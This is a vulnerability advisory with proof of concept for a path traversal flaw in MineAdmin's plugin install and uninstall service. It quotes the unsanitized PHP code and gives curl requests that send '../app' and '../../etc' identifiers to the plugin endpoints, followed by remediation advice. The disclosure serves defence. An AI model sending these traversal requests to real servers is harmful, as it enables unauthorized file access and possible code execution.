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CVE-2026-55224 PoC — MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall

Source
Associated Vulnerability
Title: MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall (CVE-2026-55224) RESERVED · Official publication pending
Description:## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall ### Summary The app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands. ### Vulnerable Code **File:** `plugin/mine-admin/app-store/src/Service/Service.php` ```php // Line 32 - download(): path traversal via identifier public function download(array $params): bool { if (empty($params['identifier']) || empty($params['version'])) { $this->throwParamsFail(); } $service = make(AppStoreServiceImpl::class); if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal $result = $service->download($params['identifier'], $params['version']); // ... } return true; } // Line 48 - install(): path traversal + Plugin::install() with raw identifier public function install(array $params): bool { // ... $path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal if (file_exists($path . '/install.lock')) { $this->throwAppInstalled(); } Plugin::install($params['identifier']); // May run composer commands with traversal path return true; } // Line 70 - unInstall(): same pattern public function unInstall(array $params): bool { // ... $path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal Plugin::uninstall($params['identifier']); // Arbitrary uninstall return true; } ``` **File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26) ```php #[Controller(prefix: 'admin/plugin/store')] #[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)] // Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340) ``` ### Proof of Concept ```bash # Install a "plugin" from a traversed path, potentially triggering composer on # arbitrary directories curl -X POST "http://localhost:9501/admin/plugin/store/install" \ -H "Authorization: Bearer <JWT_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"identifier": "../app", "version": "1.0.0"}' # This resolves to BASE_PATH/plugin/../app = BASE_PATH/app # Plugin::install("../app") processes the application directory as a plugin # Check if arbitrary path exists: curl -X POST "http://localhost:9501/admin/plugin/store/download" \ -H "Authorization: Bearer <JWT_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"identifier": "../../etc", "version": "1.0.0"}' ``` ### Impact - Path traversal enables reading directory existence outside the plugin directory - `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories - Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this - Could lead to arbitrary code execution depending on `Plugin::install()` implementation ### Remediation Validate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\n\n---\n\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.
Description
MineAdmin versions before 3.2.0-alpha.2 contain a path traversal vulnerability in the app-store plugin service. The identifier parameter is concatenated into filesystem paths without sanitization.
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